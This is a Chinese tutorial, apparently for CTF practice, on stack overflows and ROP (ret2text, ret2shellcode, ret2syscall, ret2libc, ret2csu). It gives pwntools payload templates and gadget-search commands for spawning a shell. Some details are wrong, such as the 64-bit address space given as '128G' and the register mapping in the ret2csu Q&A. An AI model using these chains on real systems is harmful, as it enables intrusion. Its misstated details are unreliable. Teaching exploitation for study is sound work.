栈溢出漏洞与ROP
栈溢出漏洞
栈溢出指的是程序向栈中的某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程
一般来说,栈溢出漏洞需要两个前提:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
相关术语
名称 | 解释 |
---|---|
ROP | 返回导向编程。在栈溢出的基础上,利用程序中已有的小片段(gadget)来改变某些寄存器或者变量的值,从而控制程序的执行流程 |
Gadget | 一些以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程 |
BSS 段
.bss 段通常是用来存放程序中未初始化的或者初始化为 0 的全局变量和静态变量的一块内存区域。特点是可读写,在程序执行之前 .bss 会自动清 0
通常我们可以将一些参数写到 .bss 段上,例如:
"/bin/sh"
、shellcode
等 (主要是因为栈的地址不好确定,并且一般栈中不可执行,而 .bss 段的地址容易确定,方便构造 ROP)写入方式一般有:
- 通过程序中自带的输入参数,有一些用户输入的参数直接就是存放在 .bss 段上的
- 配合栈溢出,利用
read()
、get()
等函数构造 ROP 向 .bss 段上写入
64 位和 32 位
在利用栈溢出漏洞时,64 位程序与 32 位程序的 ROP 链写法是不同的
基本区别
32位:cpu 一次处理 32 位数据,即 4 字节,相当于地址的宽度,即
sizeof(*p)
,虚拟地址大小为 4G,即有 $2^{32}$ 个地址,从 32 个 0 到 32 个 1 的地址64位:cpu 一次处理 64 位数据,即 8 字节,相当于地址的宽度,即
sizeof(*p)
,虚拟地址大小为 128G,即 $2^{64}$ 个地址,从 64 个 0 到 64 个 1 的地址
内存地址的范围由 32 位变成了 64 位,但是可以使用的内存地址不能大于 0x00007FFFFFFFFFFF,否则会抛出异常
数据处理的函数
p32()
和p64()
是对数据进行打包,常用于向目标机器发送数据
u32()
和u64()
是对数据进行解包,常用于接收从目标机器发送过来的数据
p32()
是对 32 位程序的数据进行打包,处理后形成小端序字节流
例如 p32(0xdeadbeef)
将被转换为 b'\xef\xbe\xad\xde
‘ 的字节流,发送到目标机器的内存中为:0xef 0xbe 0xad 0xde
p64()
是对 64 位程序的数据进行打包,处理后形成小端序字节流
例如 p64(0xfaceb00cbabe)
将被转换为 b'\xbe\xba\x0c\xb0\xce\xfa\x00\x00'
的字节流,发送到目标机器的内存中为:0xbe 0xba 0x0c 0xb0 0xce 0xfa 0x00 0x00
u32
是对 32 位程序发送过来的小端序字节流进行解包,处理后得到十进制数据
例如 u32(b'\xef\xbe\xad\xde')
将被转换为 3735928559
的数据(十进制)
u64
是对 64 位程序发送过来的小端序字节流进行解包,处理后得到十进制数据
例如 u64(b'\xbe\xba\x0c\xb0\xce\xfa\x00\x00')
将被转换为 275765623831230
的数据(十进制)
函数调用的区别
32 位调用方式
32 位程序优先使用栈来传递参数,参数从右往左压入栈,然后执行 call 指令跳转到函数位置
32 位程序只需向栈中填充数据,直至覆盖返回地址,即可劫持栈帧,后面跟上函数地址、参数地址即可
- 将参数全部压入栈中
- 靠近 call 指令的是第一个参数
- 然后按顺序 call
64 位调用方式
64 位程序优先使用寄存器来传递参数,前 6 个参数是通过寄存器(
RDI、RSI、RDX、RCX、R8、R9
)传递的,多余的参数才通过栈传递64 位程序向栈中填充数据覆盖返回地址后,首先要将参数弹出到寄存器,然后再跟上函数地址调取寄存器中的参数
RDI
中存放第 1 个参数RSI
中存放第 2 个参数RDX
中存放第 3 个参数RCX
中存放第 4 个参数R8
中存放第 5 个参数R9
中存放第 6 个参数- 如果还有更多的参数,再把多出来那几个参数像 32 位程序一样压入栈中
- 然后按顺序 call
Ret2text
Ret2text(return to .text),控制程序执行程序本身已有的的代码
适用于程序中给出了
system()
函数,有"/bin/sh"
(如果没有,也可以自己写到 .bss 段上或某个变量中,并且要可以找到其地址),或者直接有构造好的system("/bin/sh")
32 位 ROP 构造
假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节
- system_addr 为
system()
函数的地址,bin_sh_addr 为"/bin/sh"
的地址
则构造如下 payload 实现system("/bin/sh")
:
# 直接给出了构造好的system("/bin/sh")
payload = b'a' * (0x20 + 0x4) + p32(system_bin_sh_addr)
# 没有system("/bin/sh"),但可以自己构造
payload = b'a' * (0x20 + 0x4)
payload += p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
如果是正常调用
system()
函数,我们调用的时候会有一个对应的返回地址,这里以填充的b'aaaa'
作为虚假的返回地址(保证 4 字节即可),其后参数为提供给system()
函数的参数内容这里的
b'aaaa'
其实是填充一个 4 字节的数据,写成p32(0)
或者p32(0xdeadbeef)
也是一样的
- 以利用
gets()
函数向 bss 段写入 “/bin/sh
“ 为例:
payload = b'a' * (0x20 + 0x4) + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
64 位 ROP 构造
假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节
- 首先需要将构造的参数放到第一个参数所在的寄存器:RDI
可以__通过 pop rdi ; ret
指令将栈上的数据弹出到 RDI 寄存器来实现__
使用 ROPgadget --binary 文件名 | grep 'pop rdi'
进行寻找,获得 pop rdi ; ret
指令的地址
也可以使用 ROPgadget --binary 文件名 --only 'pop|ret' | grep pop
寻找全部可利用的寄存器指令
- system_addr 为
system()
函数的地址,bin_sh_addr 为"/bin/sh"
的地址,pop_rdi_addr 为pop rdi ; ret
指令的地址
则构造如下 payload 实现system("/bin/sh")
:
# 直接给出了构造好的system("/bin/sh")
payload = b'a' * (0x20 + 0x8) + p64(system_bin_sh_addr)
# 没有system("/bin/sh"),但可以自己构造
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload += p64(system_addr)
这里通过
p64(pop_rdi_addr) + p64(bin_sh_addr)
将 RDI 的内容设置为"/bin/sh"
,最后 ret 回system_addr
的地址,从而让system()
将 RDI 中的"/bin/sh"
作为参数执行注意:
glibc2.27 以后引入xmm
寄存器,记录程序状态,在执行system()
函数时会执行movaps
指令,要求rsp
按 16 字节对齐,需要在进入system()
函数之前加上一个ret
指令的地址来平衡堆栈 (仅 64 位需要)payload = b'a' * (0x20 + 0x8) payload += p64(pop_rdi_addr) + p64(bin_sh_addr) payload += p64(ret_addr) + p64(system_addr) # 加一个 p64(ret_addr) 用于平衡堆栈
详见《64位程序PWN中的堆栈平衡》
Ret2shellcode
Ret2shellcode(return to shellcode),控制程序执行 shellcode 代码
适用于程序中没有
system()
函数和"/bin/sh"
,需要自己填充 shellcode 并引导去程序执行触发首先必须要保证写入 shellcode 的区域具有可执行权限
ROP 构造
此方法在 32 位和 64 位程序中构造方式是类似的,shellcode 的构造详见《Pwntools的使用技巧》
首先在 gdb 中,使用
b main
设置断点,然后run
运行程序
执行vmmap
查看地址段是否有执行权限,如果Perm
中带有x
,表示该地址段可以执行假设栈开辟的空间为 20 字节,rbp 的大小为 4、8 字节
shellcode_addr 为写入的 shellcode
所在的地址
则构造如下 payload 实现 system("/bin/sh")
:
# 32位
payload = b'a' * (0x20 + 0x4) + p32(shellcode_addr)
# 64位
payload = b'a' * (0x20 + 0x8) + p64(shellcode_addr)
用此方法需要注意空间大小是否足够
shellcode
写入
Ret2syscall
Ret2syscall(return to syscall),控制程序执行系统调用来获取 shell。可以理解为拼接成一个系统调用的栈,在寄存器中带入指定的参数拼接成关键的系统函数,最后再寻找
int 0x80/syscall
的地址,从而执行这些函数。Ret2syscall 可用于绕过沙箱保护,或者针对静态编译等没有 libc 的场景
适用于 32 位程序中有
int 0x80
或者 64 位程序中有syscall
,要能找到"pop rax ; ret"
例如构造:
execve("/bin/sh", 0, 0)
32 位 ROP 构造
32 位程序参数的构造顺序:
eax --> ebx --> ecx --> edx
,返回为int 0x80
假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节
- 32 位常用 syscall 格式如下:
eax | system call | ebx | ecx | edx |
---|---|---|---|---|
3 | read() | unsigned int fd | char *buf | size_t count |
4 | write() | unsigned int fd | const char *buf | size_t count |
5 | open() | const char *filename | int flags | int mode |
更多 32 位 syscall 格式见:linux/syscall_32.tbl · torvalds/linux · GitHub
在 Linux 下可以使用如下命令查看:
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h
- 以
read()
系统调用将输入写到 bss 段为例:
payload = b'a' * (0x20 + 0x4)
payload += p32(pop_eax_addr) + p32(0x3) # 32 位的 read() 系统调用号为 3
payload += p32(pop_edx_ecx_ebx_addr) + p32(0x10) + p32(bss_addr) + p32(0) # bss_addr必须是一个可写入的地址
payload += p32(int_0x80_addr)
- 首先,
execve()
函数在 32 位的系统调用号是 11,也就是 0xb,所以我们要做的是使:
eax = 0xb
ebx = bin_sh_addr
ecx = 0
edx = 0
对应的汇编代码为:
pop eax // 系统调用号载入,execve为0xb
pop ebx // 第一个参数,'/bin/sh'的地址
pop ecx // 第二个参数,0
pop edx // 第三个参数,0
int 0x80 // int 0x80是32位的系统调用方式,同样通过eax传递调用号
- 寻找用于将数据出栈到寄存器的指令:
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'
# 假设获取的是 pop eax ; ret
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'
# 假设获取的是 pop edx ; pop ecx ; pop ebx ; ret
ROPgadget --binary 文件名 --string '/bin/sh' # 寻找'/bin/sh'的地址
ROPgadget --binary 文件名 --only 'int' # 寻找int 0x80的地址
- 根据实际 gadget 情况编写 payload,以上述指令为例:
payload = b'a' * (0x20 + 0x4)
payload += p32(pop_eax_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr)
payload += p32(int_0x80_addr)
64 位 ROP 构造
64 位程序参数的构造顺序:
rdi --> rsi --> rdx --> rcx --> r8 --> r9
,返回为syscall
假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节
- 64 位常用 syscall 格式如下:
rax | system call | rdi | rsi | rdx |
---|---|---|---|---|
0 | read() | unsigned int fd | char *buf | size_t count |
1 | write() | unsigned int fd | const char *buf | size_t count |
2 | open() | const char *filename | int flags | int mode |
更多 64 位 syscall 格式见:linux/syscall_64.tbl · torvalds/linux · GitHub
在 Linux 下可以使用如下命令查看:
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- 以
read()
系统调用将输入写到 bss 段为例:
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rax_addr) + p64(0x0) # 64 位的 read() 系统调用号为 0
payload += p64(pop_rdx_rsi_addr) + p64(0x10) + p64(bss_addr) # bss_addr必须是一个可写入的地址
payload += p64(pop_rdi_addr) + p64(0) # 文件描述符,0 表示获取屏幕输入
payload += p64(syscall_addr)
- 首先,
execve()
函数在 64 位的系统调用号是 59,也就是 0x3b,所以我们要做的是使:
rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
对应的汇编代码为:
pop rax // 系统调用号载入,execve为0x3b
pop rdi // 第一个参数,'/bin/sh'的地址
pop rsi // 第二个参数,0
pop rdx // 第三个参数,0
syscall // syscall是64位的系统调用方式,同样通过rax传递调用号
- 寻找用于将数据出栈到寄存器的指令:
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'rax'
# 假设获取的是 pop rax ; ret
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'rdi'
# 假设获取的是 pop rdx ; pop rsi ; pop rdi ; ret
ROPgadget --binary 文件名 --string '/bin/sh' # 寻找'/bin/sh'的地址
ROPgadget --binary 文件名 --only 'ret' # 寻找ret的地址
ROPgadget --binary 文件名 --only 'syscall' # 寻找syscall的地址
- 根据实际 gadget 情况编写 payload,以上述指令为例:
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rax_addr) + p64(0x3b)
payload += p64(pop_rdx_rsi_rdi_addr) + p64(0) + p64(0) + p64(bin_sh_addr)
payload += p64(syscall_addr)
Ret2libc
Ret2libc(return to libc),控制函数执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)
适用于程序中没有
system()
函数和"/bin/sh"
,或者程序开启了PIE
地址随机化,需要泄露程序运行时的地址来计算偏移地址
一般 ret2libc 常用的方法是采用 got 表地址泄露,不过由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。 最简单的,可以泄露 __libc_start_main
函数的 got 表地址,因为它是程序最初被执行的地方,一定会被执行(当然,泄露其他的函数地址也是可以的)
注意:
通过 ret2libc 计算出 libc 基地址时,**libc 基地址libcbase
最后三位一般是000
**,可用于判断是否计算正确,libc 基地址可以在 GDB 中使用vmmap
进行查看另外,libc 中的函数偏移在加载到内存后地址最后三位是不会变的,例如:
system()
函数在 libc 中偏移量为 0x48E50,则加载到内存中可能为 0xF7D1BE50与操作系统的 4 KB 分页机制有关,4 KB = 4 * 1024 (D) = 1000 (H)
32 位 ROP 构造
假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节
- 首先需要泄露出一个函数的真实地址
这里以利用write()
函数来泄露read()
函数的 got 表地址为例(泄露其他函数也是可以的),最后再次返回到main()
函数
payload = b'a' * (0x20 + 0x4)
payload += p32(elf.plt['write'])
payload += p32(main_addr)
payload += p32(0x1) + p32(elf.got['read']) + p32(0x4)
这里
p32(0x1)
、p32(elf.got['write'])
、p32(0x4)
是提供给write()
函数的三个参数
ssize_t write(int fd,const void *buf,size_t count)
其中,文件描述符 fd = 1 表示输出到屏幕
- 接收
write()
函数打印出的read@got
的地址
read_real_addr = u32(io.recv(4))
- 根据泄露的地址获得程序对应的 libc 版本,第二个参数一般为已泄露的实际地址,然后根据 libc 确定
read()
的偏移地址,计算出本次加载进内存后的偏移量,并反推出其他函数的真实地址
如果已知 libc 可直接使用,如果未知则使用 LibcSearcher
from LibcSearcher import *
obj = LibcSearcher("read", read_real_addr) # 第二个参数为已泄露的实际地址,或最后12位(比如:d90),int类型
libcbase = read_real_addr - obj.dump('read') # 计算基地址
system_addr = libcbase + obj.dump('system') # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + obj.dump('str_bin_sh') # 计算程序中'/bin/sh'的真实地址
如果不使用 LibcSearcher,则需要先确定 libc 版本:
libc = ELF("libc路径")
libcbase = read_real_addr - libc.symbols["read"] # 计算基地址
system_addr = libcbase + libc.symbols["system"] # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh')) # 计算程序中'/bin/sh'的真实地址
- 构造如下 payload 实现
system("/bin/sh")
:
payload = b'a' * (0x20 + 0x4)
payload += p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
64 位 ROP 构造
假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节
- 首先需要泄露出一个函数的真实地址
这里以利用puts()
函数来泄露read()
函数的 got 表地址为例(泄露其他函数也是可以的),最后再次返回到main()
函数
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(elf.got['read'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
- 接收
put()
函数打印出的read@got
的地址,由于puts()
函数返回的值里面会追加一个 ‘\n’,通过 replace() 手动去掉,ljust()
用于补全位数为八位
read_real_addr = u64(io.recv().replace('\n', '').ljust(8, '\x00'))
- 根据泄露的地址获得程序对应的 libc 版本,第二个参数一般为已泄露的实际地址
如果已知 libc 可直接使用,如果未知则使用 LibcSearcher
from LibcSearcher import *
obj = LibcSearcher("read", read_real_addr) # 第二个参数为已泄露的实际地址,或最后12位(比如:d90),int类型
libcbase = read_real_addr - obj.dump('read') # 计算基地址
system_addr = libcbase + obj.dump('system') # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + obj.dump('str_bin_sh') # 计算程序中'/bin/sh'的真实地址
如果不使用 LibcSearcher,则需要先确定 libc 版本:
libc = ELF("libc路径")
libcbase = read_real_addr - libc.symbols["read"] # 计算基地址
system_addr = libcbase + libc.symbols["system"] # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh')) # 计算程序中'/bin/sh'的真实地址
- 构造如下 payload 实现
system("/bin/sh")
:
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload += p64(system_addr)
利用
write()
泄露示例:payload = b'a' * (0x20 + 0x8) payload += p64(pop_rdx_addr) + p64(0x8) # 第三个参数,放在 RDX payload += p64(pop_rsi_addr) + p64(elf.got['read']) # 第二个参数,放在 RSI payload += p64(pop_rdi_addr) + p64(0x1) # 第一个参数,放在 RDI payload += p64(elf.plt['write']) # 执行 write() payload += p64(main_addr) # 返回到 main()
前提是要找到刚好有
pop rdi ; ret pop rsi ; ret pop rdx ; ret
这三种 gadget 属于理想状况,需要根据实际 gadget 进行调整;但通常来说,是没有
pop rdx ; ret
这个 gadget 的,要更改rdx
可以借助 Ret2csu 的方法
Ret2csu
Ret2csu(return to libc_csu_init),利用
libc_csu_init
中的两个代码片段来实现rdi
、rsi
、rdx
这 3 个参数的传递适用于 64 位程序中无法凑齐
pop rdi ; ret
、pop rsi ; ret
、pop rdx ; ret
等类似于rdi
、rsi
、rdx
这 3 个传参的 gadget(或找不到),此时就可以考虑使用libc_csu_init
函数的通用 gatgets
libc_csu_init
libc_csu_init
是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数(动态链接),一旦调用 libc 里面的函数就必须经过 libc 初始化的步骤,所以这个函数一定会存在
csu
即:C Start Up
我们一般需要利用 libc_csu_init
中的两段代码: (寄存器顺序可能会有所不同,以实际为准)
gadget2
(后调用)
.text:00000000004011C8 4C 89 FA mov rdx, r15
.text:00000000004011CB 4C 89 F6 mov rsi, r14
.text:00000000004011CE 44 89 EF mov edi, r13d
.text:00000000004011D1 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D1
.text:00000000004011D5 48 83 C3 01 add rbx, 1
.text:00000000004011D9 48 39 DD cmp rbp, rbx
.text:00000000004011DC 75 EA jnz short loc_4011C8
gadget1
(先调用)
.text:00000000004011DE 48 83 C4 08 add rsp, 8
.text:00000000004011E2 5B pop rbx
.text:00000000004011E3 5D pop rbp
.text:00000000004011E4 41 5C pop r12
.text:00000000004011E6 41 5D pop r13
.text:00000000004011E8 41 5E pop r14
.text:00000000004011EA 41 5F pop r15
.text:00000000004011EC C3 retn
ROP 构造
一般来说,
Ret2csu
只用于 64 位的 ROP 构造假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节
- 以调用
write()
函数泄露read()
函数 got 地址为例:
payload = b'a' * (0x20 + 0x8) + p64(gadget1_addr) + p64(0xdeadbeef)
payload += p64(0) # rbx,设置为 0
payload += p64(1) # rbp,设置为 1
payload += p64(elf.got['write']) # r12,设置为想要跳转的函数的 got 地址
# 以下寄存器顺序可能会有所不同,注意结合 IDA 具体分析
# 对应关系: r13 => edi, r14 => rsi, r15 => rdx
# ----------------------------------------
payload += p64(1) # r13,write()的第一个参数,1 表示输出到屏幕
payload += p64(elf.got['read']) # r14,write()的第二个参数,要泄漏的函数地址
payload += p64(8) # r15,write()的第三个参数,输出的长度
# ----------------------------------------
payload += p64(gadget2_addr) # 执行gadget2_addr将r13/r14/r15传送到edi/rsi/rdx
payload += b'a' * 0x38 # 填充56字节垃圾数据
payload += p64(main_addr)
- 为方便多次构造,设计成
csu()
函数如下:
def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = b'a' * (0x20 + 0x8) + p64(gadget1_addr) + p64(0xdeadbeef)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(ret)
1. 问:为什么 payload 中
p64(gadget1_addr)
后面还要再加一个p64(0xdeadbeef)
?其实这个与
gadget1_addr
地址的取值有关,注意gadget1
的开头:.text:00000000004011DE 48 83 C4 08 add rsp, 8 .text:00000000004011E2 5B pop rbx
这里的第一条指令
add rsp, 8
我们并不需要,如果设置gadget1_addr = 0x4011DE
,因为这一句将rsp
加了 8,我们就需要先填充 8 字节垃圾数据才能到达我们布置好的栈帧数据相反,如果设置
gadget1_addr = 0x4011E2
,就不会执行add rsp, 8
指令,因为没有修改rsp
,p64(gadget1_addr)
后面紧跟的就是我们布置好的栈帧数据,那么就不用加p64(0xdeadbeef)
2. 问:为什么将 rbx 设置为 0 ?
在
gadget2
中执行call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
这个指令的时候如果将
rbx
设置为 0,那么只需把r12
的值设置成我们想要跳转的地址,这样就很方便,可以忽略rbx
的干扰3. 问:为什么将 rbp 设置成 1 ?
在
gadget2
中执行以下几句指令的时候:.text:00000000004011D5 48 83 C3 01 add rbx, 1 .text:00000000004011D9 48 39 DD cmp rbp, rbx .text:00000000004011DC 75 EA jnz short loc_4011C8
jnz
是当rbp
和rbx
不相等时跳转,但我们并不想真的跳转到short loc_4011C8
这个地方因此当
rbx
增加 1 之后,我们要让rbp
和rbx
相等,因此rbp
就要提前被设置成 14. 问:为什么将 r12 设置成想要跳转的函数的 got 地址 ?
在
gadget2
中执行call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
这个指令的时候由于前面设置
rbx = 0
,所以相当于执行call qword ptr [r12]
,但因为gadget2
中的代码为call
指令,所以必须是 call 函数的 got 地址如果仅仅是修改参数,不想执行跳转,可以 call
_term_proc
这个空函数)5. 问:r13、r14、r15 的值为什么这么设置 ?
在
gadget2
中会执行:.text:00000000004011C8 4C 89 FA mov rdx, r15 .text:00000000004011CB 4C 89 F6 mov rsi, r14 .text:00000000004011CE 44 89 EF mov edi, r13d
所以
r13
、r14
、r15
这三个值分别对应了rdx
、rsi
、edi
要注意的是:
r15
最后传给的是edi
而不是rdi
(即rdi
的低 32 位),所以最后rdi
的高位四字节都是 0,而低位四字节才是r15
里的内容也就是说:如果想用 Ret2csu 的方法将
rdi
里存放成一个地址是不可行的6. 问:为什么填充 56 字节的垃圾数据 ?
运行
gadget1
和gadget2
这两段代码后,会将栈顶指针移动 56 字节,用 56 个字节数据填充来平衡堆栈造成的空缺,才可以连接到ret
的位置进行跳转(共 7 个pop
操作,每一个pop
操作加 8)